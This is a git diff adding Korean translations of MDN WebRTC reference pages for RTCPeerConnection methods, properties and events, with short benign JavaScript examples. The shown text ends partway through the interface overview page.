+slug: Web/API/RTCPeerConnection/getConfiguration
+translation_of: Web/API/RTCPeerConnection/getConfiguration
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><strong><code>RTCPeerConnection.getConfiguration()</code></strong> 메소드는 호출 된 {{domxref("RTCPeerConnection")}}의 현재 설정을 알려주는 {{domxref("RTCConfiguration")}} 객체를 반환합니다.</p>
+
+<p>여기서 반환되는 설정 값 은 가장 최근에 적용했던 {{domxref("RTCPeerConnection.setConfiguration","setConfiguration()")}} 혹은 <code>setConfiguration()</code>가 호출 되지 않았다면, <code>RTCPeerConnection</code>가 구성되면서 생긴 설정입니다. 이 설정은 연결에 의해 사용되는 ICE 서버의 리스트, 전송 정책에 관한 정보, 그리고 식별 정보를 포함합니다. </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>configuration</em> = <em>RTCPeerConnection</em>.getConfiguration();</pre>
+
+<h3 class="syntaxbox" id="매개변수">매개변수</h3>
+
+<p>이 메소드는 입력 변수를 받지 않습니다.</p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("RTCPeerConnection")}}의 현재 설정을 알려주는 {{domxref("RTCConfiguration")}} 객체입니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예제는 활성화된 연결에서 이미 사용 중인 인증서가 없다면, 신규 인증서를 추가하는 작업입니다.</p>
+
+<pre class="brush: js">let configuration = myPeerConnection.getConfiguration();
+
+if ((configuration.certificates != undefined) &amp;&amp; (!configuration.certificates.length)) {
+   RTCPeerConnection.generateCertificate({
+      name: 'RSASSA-PKCS1-v1_5',
+      hash: 'SHA-256',
+      modulusLength: 2048,
+      publicExponent: new Uint8Array([1, 0, 1])
+  }).then(function(cert) {
+    configuration.certificates = [cert];
+    myPeerConnection.setConfiguration(configuration);
+  });
+}
+</pre>
+
+<p>위의 예제에서는 {{domxref("RTCPeerConnection")}}의 현재 설정을 가져 온 다음에, 인증서가 존재하는지 확인하기 위해 (1) 설정에 <code>certificates</code>값이 포함되어 있는지, (2) 길이가 0인지를 확인합니다.</p>
+
+<p>만약 인증서가 존재하지 않으면, {{domxref("RTCPeerConnection.generateCertificate()")}}가 호출되어 신규 인증서를 만들어냅니다. 여기에 fulfillment 핸들러를 제공해서 새로 만들어진 인증서를 포함하는 배열을 현재 설정에 추가하고, {{domxref("RTCPeerConnect.setConfiguration", "setConfiguration()")}}에 전달해서 연결에 인증서를 추가합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-getConfiguration-RTCConfiguration', 'getConfiguration()')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCPeerConnection.getConfiguration")}}</p>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.setConfiguration()")}}</li>
+ <li>{{domxref("RTCConfiguration")}}</li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.html b/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.html
new file mode 100644
index 0000000000..e5c826c811
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.html
@@ -0,0 +1,60 @@
+---
+title: RTCPeerConnection.getIdentityAssertion()
+slug: Web/API/RTCPeerConnection/getIdentityAssertion
+translation_of: Web/API/RTCPeerConnection/getIdentityAssertion
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>RTCPeerConnection.getIdentityAssertion()</strong></code> 메소드는 식별 주장의 수집을 시작합니다. 이 메소드는 {{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 <code>"closed"</code> 상태가 아닐 때에만 유효합니다.</p>
+
+<p>이 메소드는 즉시 반환하게됩니다. 식별 주장이 생성 될 수 없다면, 객체에 {{event("idpassertionerror")}}가 전달됩니다. </p>
+
+<p>이는 자동으로 수행되기 때문에, 어플리케이션에서 <code>RTCPeerConnection</code>을 직접 다룰 일은 없습니다.명시적인 호출로 필요한 것이 무엇인지 정도만 알 수 있습니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><em>pc</em>.getIdentityAssertion();</code>
+</pre>
+
+<dl>
+</dl>
+
+<p><em>이 메소드에는 매개변수 혹은 반환 값이 없습니다. </em></p>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<pre class="brush: js">var pc = new PeerConnection();
+
+pc.getIdentityAssertion(); // Not mandatory, but we know that we will need it in the future.
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-getIdentityAssertion-void', 'RTCPeerConnection.getIdentityAssertion()') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.getIdentityAssertion")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/getreceivers/index.html b/files/ko/web/api/rtcpeerconnection/getreceivers/index.html
new file mode 100644
index 0000000000..4f2802a7ac
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/getreceivers/index.html
@@ -0,0 +1,55 @@
+---
+title: RTCPeerConnection.getReceivers()
+slug: Web/API/RTCPeerConnection/getReceivers
+translation_of: Web/API/RTCPeerConnection/getReceivers
+---
+<div>{{APIRef("WebRTC")}}{{SeeCompatTable}}</div>
+
+<p><code><strong>RTCPeerConnection.getReceivers()</strong></code> 메소드는 {{domxref("RTCRtpReceiver")}} 객체의 배열을 반환합니다. 이 배열의 각 요소들은 RTP 리시버를 나타냅니다. 각각의 RTP 리시버는 {{domxref("RTCPeerConnection")}}에 대한 {{domxref("MediaStreamTrack")}}의 데이터를 수신하고 디코딩 합니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>receivers</em>[] = <em>RTCPeerConnection</em>.getReceivers();
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>연결에 대한 각 트랙마다 한 개씩 {{domxref("RTCRtpReceiver")}} 객체의 배열을 반환합니다. R연결에 대한 RTP 리시버가 없으면, 배열은 빈 상태입니다.</p>
+
+<p><code>RTCReceiver</code> 인스턴스에서 반환되는 순서는 명세서에 정의되어있지 않고, <code>getSenders()</code>호출을 사용해서 다음 배열의 요소로 바꿀 수 있습니다.</p>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p>tbd</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-getsenders', 'RTCPeerConnection.getSenders()') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.getReceivers")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC_API">WebRTC</a></li>
+ <li>{{domxref("RTCRtpSender")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/getsenders/index.html b/files/ko/web/api/rtcpeerconnection/getsenders/index.html
new file mode 100644
index 0000000000..ca05cf45dd
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/getsenders/index.html
@@ -0,0 +1,55 @@
+---
+title: RTCPeerConnection.getSenders()
+slug: Web/API/RTCPeerConnection/getSenders
+translation_of: Web/API/RTCPeerConnection/getSenders
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">{{domxref("RTCPeerConnection")}}의 <code><strong>getSenders()</strong></code> 메소드는 {{domxref("RTCRtpSender")}} 객체의 배열을 반환합니다. 배열의 각 객체는 하나의 트랙의 데이터의 송신을 담당하는 RTP sender를 나타냅니다.</span> Sender 객체는 트랙 데이터의 인코딩과 송신을 확인하고, 조작 할 수 있는 메소드와 속성들을 제공합니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>senders</em> = <em>RTCPeerConnection</em>.getSenders();
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>연결의 각 트랙마다 한 개의 {{domxref("RTCRtpSender")}} 객체 배열을 반환합니다. 연결의 RTP sender가 존재하지 않으면, 배열은 빈 상태입니다.</p>
+
+<p><code>RTCRtpSender</code>s 의 반환 값 순서는 정의되어있지 않고, <code>getSenders()</code> 호출을 통해서 다음 배열 요소로 바꿀 수 있습니다.</p>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p>tbd</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-getsenders', 'RTCPeerConnection.getSenders()') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.getSenders")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC_API">WebRTC</a></li>
+ <li>{{domxref("RTCRtpSender")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/gettransceivers/index.html b/files/ko/web/api/rtcpeerconnection/gettransceivers/index.html
new file mode 100644
index 0000000000..98d79ccbc5
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/gettransceivers/index.html
@@ -0,0 +1,63 @@
+---
+title: RTCPeerConnection.getTransceivers()
+slug: Web/API/RTCPeerConnection/getTransceivers
+translation_of: Web/API/RTCPeerConnection/getTransceivers
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p>{{domxref("RTCPeerConnection")}} 인터페이스의 <code><strong>getTransceivers()</strong></code> 메소드는 연결에서 데이터 전송 및 수신에 사용되는 {{domxref("RTCRtpTransceiver")}} 객체의 리스트를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>transceiverList</em> = RTC<em>PeerConnection</em>.getTransceivers();</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<p>없음.</p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>RTCPeerConnection</code>에 대한 모든 미디어의 전송/수신을 관리하는 트랜시버를 나타내는 {{domxref("RTCRtpTransceiver")}} 객체의 배열입니다. 리스트의 순서는 트랜시버가 연결에 추가된 순서대로 정렬되어있습니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래 코드는 <code>RTCPeerConnection</code>와 연관된 모든 트랜시버를 중지시킵니다.</p>
+
+<pre class="brush: js">pc.getTransceivers.forEach(transceiver =&gt; {
+  transceiver.stop();
+});
+</pre>
+
+<h2 id="설명서">설명서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">설명서</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebRTC 1.0", "#dom-rtcpeerconnection-gettransceivers", "RTCPeerConnection.getTransceivers()")}}</td>
+   <td>{{Spec2("WebRTC 1.0")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCPeerConnection.getTransceivers")}}</p>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a></li>
+ <li>{{domxref("RTCPeerConnection.addTransceiver()")}}</li>
+ <li>{{jsxref("Array.forEach()")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.html b/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.html
new file mode 100644
index 0000000000..9d7a094688
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.html
@@ -0,0 +1,85 @@
+---
+title: RTCPeerConnection.iceGatheringState
+slug: Web/API/RTCPeerConnection/iceGatheringState
+translation_of: Web/API/RTCPeerConnection/iceGatheringState
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p>읽기 속성인 <code><strong>RTCPeerConnection.iceGatheringState</strong></code>는 연결 인터페이스의 ICE 수집 상태를 알려주는 <code>RTCIceGatheringState</code>타입의 Enum을 반환합니다. 이 속성을 활용하면, ICE candidate 수집 과정이 언제 종료되는지 감지 할 수 있습니다. </p>
+
+<p><code><a href="/en-US/docs/Web/API/RTCPeerConnection/icegatheringstatechange_event">icegatheringstatechange</a></code>타입의 이벤트 감시를 통해 이 속성 값이 언제 변하는지를 확인 할 수 있습니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"> var state = <em>RTCPeerConnection</em>.iceGatheringState;</pre>
+
+<h3 id="값">값</h3>
+
+<p>반환되는 값은 <code>RTCIceGatheringState</code>타입의 Enum입니다. </p>
+
+
+
+<h3 id="RTCIceGatheringState_enum섹션">RTCIceGatheringState enum<a href="https://developer.mozilla.org/ko/docs/Web/API/RTCPeerConnection#RTCIceGatheringState_enum">섹션</a></h3>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/API/RTCPeerConnection/iceGatheringState" title="읽기 속성인 RTCPeerConnection.iceGatheringState는 연결 인터페이스의 ICE 수집 상태를 알려주는 RTCIceGatheringState타입의 Enum을 반환합니다. 이 속성을 활용하면, ICE candidate 수집 과정이 언제 종료되는지 감지 할 수 있습니다."><code>RTCPeerConnection.iceGatheringState</code></a> 속성을 사용하게되면 반환되는 <code>RTCIceGatheringState</code> enum은 현재의 ICE 수집 상태를 반영하여 알려주는 문자열 상수입니다. <code><a href="https://developer.mozilla.org/ko/docs/Web/Reference/Events/icegatheringstatechange" rel="nofollow" title="/ko/docs/Web/Reference/Events/icegatheringstatechange">icegatheringstatechange</a></code> 타입의 이벤트를 감시해서 이 값이 언제 변하는지 확인 할 수 있습니다.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">상수명</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>피어 연결이 새로 생성되었지만, 아직 네트워킹은 시작되지 않은 상태</td>
+  </tr>
+  <tr>
+   <td><code>"gathering"</code></td>
+   <td>ICE 에이전트가 연결을 위한 ICE candidate를 수집하는 과정에 있음을 알려주는 상태</td>
+  </tr>
+  <tr>
+   <td><code>"complete"</code></td>
+   <td>ICE 에이전트가 candidate 수집을 완료한 상태. 새로운 인터페이스가 추가되거나, 신규 ICE 서버가 추가와 같이 신규 ICE candidate를 수집해야하는 상황이 오면, 상태가 <code>complete</code>에서 <code>gathering</code>으로 다시 바뀝니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예시"><br>
+ 예시</h2>
+
+<pre>var pc = new RTCPeerConnection();
+var state = pc.iceGatheringState;</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-iceGatheringState', 'RTCPeerConnection.iceGatheringState') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.iceGatheringState")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{event("icegatheringstatechange")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.html b/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.html
new file mode 100644
index 0000000000..ad713beeda
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.html
@@ -0,0 +1,102 @@
+---
+title: 'RTCPeerConnection: icegatheringstatechange event'
+slug: Web/API/RTCPeerConnection/icegatheringstatechange_event
+translation_of: Web/API/RTCPeerConnection/icegatheringstatechange_event
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary"><strong><code>icegatheringstatechange</code></strong> 이벤트는 {{Glossary("ICE")}} candidate 수집 과정이 변경되면,  {{domxref("RTCPeerConnection")}}의 이벤트 핸들러인 {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}}로 전달됩니다.</span> 이는 연결의 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} 속성이 변경되었다는 것을 뜻합니다.</p>
+
+<p>ICE가 처음 연결 candidate들을 수집하게되면 값이 <code>new</code>에서 <code>gathering</code>으로 바뀌게 되고, 이는 연결에 대한 candidate 설정들을 수집하는 과정 중에 있다는 뜻입니다. 값이 complete가 되면, RTCPeerConnection을 구성하는 모든 트랜스포트들이 ICE candidate 수집을 완료한 상태입니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bubbles</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">취소가능여부</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">인터페이스</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">이벤트 핸들러</th>
+   <td>{{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> ICE candidate 수집 과정이 완료되었는지는 <code>icegatheringstatechange</code>이벤트와 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}의 값이 <code>complete</code>로 바뀌는 것을 확인하면 알 수 있습니다. 하지만, 더 쉬운 방법으로는 {{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}} 이벤트에 대한 핸들러가 {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 속성의 값이 null로 변하는 시점을 체크하도록 할 수 있습니다. 이 속성이 <code>null</code> 값으로 바뀌었다는 것은 즉 모든 candidate 수집이 완료되었다는 뜻입니다. </p>
+</div>
+
+<h2 id="예시">예시</h2>
+
+<p>아래 예제는 <code>icegatheringstatechange</code> 이벤트에대한 핸들러를 생성합니다.</p>
+
+<pre class="brush: js">pc.onicegatheringstatechange = ev =&gt; {
+  let connection = ev.target;
+
+  switch(connection.iceGatheringState) {
+    case "gathering":
+      /* candidate 수집 과정 시작 */
+      break;
+    case "complete":
+      /* candidate 수집 완료 */
+      break;
+  }
+}
+</pre>
+
+<p>아래처럼 {{domxref("EventTarget.addEventListener", "addEventListener()")}}을 사용해서 <code>icegatheringstatechange</code> 이벤트에 대한 변경을 감지하는 리스너를 추가 할 수 있습니다.</p>
+
+<pre class="brush: js">pc.addEventListener("icegatheringstatechange", ev =&gt; {
+  let connection = ev.target;
+
+  switch(connection.iceGatheringState) {
+    case "gathering":
+      /* candidate 수집 과정 시작 */
+      break;
+    case "complete":
+      /* candidate 수집 완료 */
+      break;
+  }
+}, false);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#event-icegatheringstatechange', 'icecandidatestatechange')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.icegatheringstatechange_event")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">WebRTC connectivity</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/index.html b/files/ko/web/api/rtcpeerconnection/index.html
new file mode 100644
index 0000000000..295552696c
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/index.html
@@ -0,0 +1,356 @@
+---
+title: RTCPeerConnection
+slug: Web/API/RTCPeerConnection
+translation_of: Web/API/RTCPeerConnection
+---
+<p>{{APIRef('WebRTC')}}{{draft}}</p>
+
+<p><span class="seoSummary"><strong><code>RTCPeerConnection</code> </strong>인터페이스는 로컬 컴퓨터와 원격 피어 간의 WebRTC 연결을 담당하며 원격 피어에 연결하기 위한 메서드들을 제공하고, 연결을 유지하고 연결 상태를 모니터링하며 더 이상 연결이 필요하지 않을 경우 연결을 종료합니다.</span></p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<p>{{InterfaceOverview("WebRTC")}}</p>
+
+<h3 id="사용되지_않는_메서드">사용되지 않는 메서드</h3>
+
+<p>다음 메서드는 오래 전부터 사용되지 않았으며 모든 주요 브라우저에서 구현되지 않았습니다.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.createDTMFSender()")}} {{obsolete_inline}}</dt>
+ <dd>특정 {{domxref("MediaStreamTrack")}}와 관련된 신규 {{domxref("RTCDTMFSender")}}를 생성합니다. {{domxref("RTCDTMFSender")}}는 연결을 통해 {{Glossary("DTMF")}} 전화 신호를 보낼 수 있습니다. </dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p>{{domxref("EventTarget.addEventListener", "addEventListener()")}}를 이용하여 아래 이벤트를 리스닝하거나 이 인터페이스의 <code>on<em>eventname</em></code> 프로퍼티에 이벤트 리스너를 할당할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.connectionstatechange_event", "connectionstatechange")}}</dt>
+ <dd><code>RTCPeerConnection</code>의 연결상태가 바뀌면, <code>RTCPeerConnection</code> 객체에 전달합니다. 이는 또한,  {{domxref("RTCPeerConnection.onconnectionstatechange", "onconnectionstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다. </dd>
+ <dt>{{domxref("RTCPeerConnection.datachannel_event", "datachannel")}}</dt>
+ <dd>원격 피어가 {{domxref("RTCDataChannel")}}을 연결에 추가하게되면 <code>RTCPeerConnection</code> 객체에 전달합니다. 이는 또한, {{domxref("RTCPeerConnection.ondatachannel", "ondatachannel")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+ <dt>{{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}}</dt>
+ <dd>특정 ICE candidate가 원격 피어에 전달되도록 피어 연결에 요청을 보냅니다. 또한, {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+ <dt>{{domxref("RTCPeerConnection.icecandidateerror_event", "icecandidateerror")}}</dt>
+ <dd>ICE candidate를 수집하는 과정에서 에러가 발생하면 연결에 {{domxref("RTCPeerConnectionIceErrorEvent")}} 에러 타입을 보냅니다. 이는 또한, {{domxref("RTCPeerConnection.onicecandidateerror", "onicecandidateerror")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+ <dt>{{domxref("RTCPeerConnection.iceconnectionstatechange_event", "iceconnectionstatechange")}}</dt>
+ <dd>연결이 끊기는 상황과 같이 ICE 연결의 상태가 변하게되면 <code>RTCPeerConnection</code>에 전달합니다. 이는 또한, {{domxref("RTCPeerConnection.oniceconnectionstatechange", "oniceconnectionstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}</dt>
+ <dd>{{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}에 의해 반영되는 ICE 계층의 수집 상태가 변하면, <code>RTCPeerConnection</code>에 전달합니다. 계층의 수집 상태는 ICE 네고시에이션이 아직 시작을 안했거나 (<code>new</code>), 시작하고 candidate를 수집하는 중이거나 (<code>gathering</code>), 혹은 수집이 완료 (<code>complete</code>)된 상태로 나눠집니다. 이는 또한, {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+ <dt>{{domxref("RTCPeerConnection.isolationchange_event", "isolationchange")}}</dt>
+ <dd>연결과 관련이 있는 하나의 {{domxref("MediaStreamTrack")}} 객체가 있는 {{domxref("MediaStreamTrack.isolated", "isolated")}} 속성의 값이 변하면, <code>RTCPeerConnection</code>에 전달합니다. 만약 미디어 컨텐츠가 인증이 되어있지 않거나, 트랙이 cross-origin source (CORS)에서 오는 것이라면 트랙의 상태는 {{domxref("MediaStreamTrack.isolated", "isolated")}}이 됩니다. 이는 또한, {{domxref("RTCPeerConnection.onisolationchange", "onisolationchange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}}</dt>
+ <dd>ICE 연결의 네고시에이션 혹은 네고시에이션을 다시 수행해야 할 때, <code>RTCPeerConnection</code>에 전달됩니다. 이는 연결이 처음 생성되는 순간뿐만아니라 네트워크 조건이 바뀌게 되면 발생합니다. 리시버는 offer를 생성하고, 이를 다른 피어에 전달하기위해 응답해야합니다. 이는 또한, {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+ <dt>{{domxref("RTCPeerConnection.signalingstatechange_event", "signalingstatechange")}}</dt>
+ <dd>연결의 ICE 신호 상태가 변경되면 <code>signalingstatechange</code>이벤트를 <code>RTCPeerConnection</code>에 전달합니다. 이는 또한, {{domxref("RTCPeerConnection.onsignalingstatechange", "onsignalingstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+ <dt>{{domxref("RTCPeerConnection.statsended_event", "statsended")}}</dt>
+ <dd>모니터링이 되던 statistics 객체가 삭제되면, <code>statsended</code>이벤트를 전달합니다. {{domxref("RTCStatsEvent")}}는 삭제된 객체의 마지막 리포트를 포함합니다. 마지막 리포트를 전달받고나서 여러개의 객체가 삭제되었다면, 여러 객체에 대한 마지막 리포트를 포함합니다. 예를 들어 연결이 종료되거나 삭제되면, statistics 객체는 삭제됩니다. </dd>
+ <dd>The <code>statsended</code> event is sent when a statistics object being monitored is deleted. The {{domxref("RTCStatsEvent")}} includes the final report on the deleted object (or objects, if multiple objects have been deleted since the last report was delivered). A statistics object is deleted, for example, when the connection is closed and deleted.<br>
+ Available as the {{domxref("RTCPeerConnection.onstatsended", "onstatsended")}} event handler property.</dd>
+ <dt>{{domxref("RTCPeerConnection.track_event", "track")}}</dt>
+ <dd>연결을 구성하고 있는 {{domxref("RTCRtpReceiver")}} 인스턴스들 중 하나에 신규 트랙이 추가된 후에, <code>track</code>이벤트를 보냅니다. 이는 또한, {{domxref("RTCPeerConnection.ontrack", "ontrack")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.</dd>
+</dl>
+
+<h3 id="사용되지_않는_이벤트">사용되지 않는 이벤트</h3>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.addstream_event", "addstream")}} {{obsolete_inline}}</dt>
+ <dd>Sent when a new {{domxref("MediaStream")}} has been added to the connection. Instead of watching for this obsolete event, you should watch each for {{domxref("RTCPeerConnection.track_event", "track")}} events; one is sent for each {{domxref("MediaStreamTrack")}} added to the connection.<br>
+ Available as the {{domxref("RTCPeerConnection.onaddstream", "onaddstream")}} event handler property.</dd>
